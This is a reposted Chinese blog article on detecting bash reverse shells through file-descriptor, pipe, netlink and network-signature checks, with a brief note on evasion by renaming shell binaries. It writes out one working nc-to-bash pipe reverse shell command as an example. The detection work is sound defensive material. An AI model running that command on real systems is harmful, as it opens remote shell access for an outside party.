首页 > 系统服务 > 详细

bash反弹shell检测

时间:2020-11-25 22:41:47      阅读:40      评论:0      收藏:0      [点我收藏+]

1、进程 file descriptor 异常检测
检测 file descriptor 是否指向一个socket
以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄。
技术分享图片
技术分享图片

2、检测 file descriptor 是否指向一个管道符(pipe)
对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄。
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888

技术分享图片

不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否是来自一个socket。
例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。

3、netlink监控+fd异常检测
监听Netlink Socket,实时获取进程EXEC事件。
如果为Shell进程,检查进程启动打开的FD,
即当有程序打开了Socket,但是未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端,则确认为反弹Shell。
github:https://github.com/zhanghaoyil/seesaw

技术分享图片

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。
例如将/bin/sh重命名为其他名字进行反弹shell。

4、脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测
前面讨论的fd监控方案,其本质都是针对”通过系统bash程序实现的反弹shell“。
但是需要注意的是,操作系统是分层的,Bash只是一个应用程序的普通应用,其内部封装了调用glibc execve的功能而已,除了bash之外,我们还可以基于任意的应用层技术来实现反弹shell,
例如:
python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
C/C++实现纯代码形式的反弹shell:二进制文件检测

5、网络层反弹shell通信特征检测
反弹shell的通信会话中,会包含一些”cmdline shell特征“,例如”#root....“等,可以在网络侧进行实时检测。

bash反弹shell检测

原文:https://www.cnblogs.com/micr067/p/14038908.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!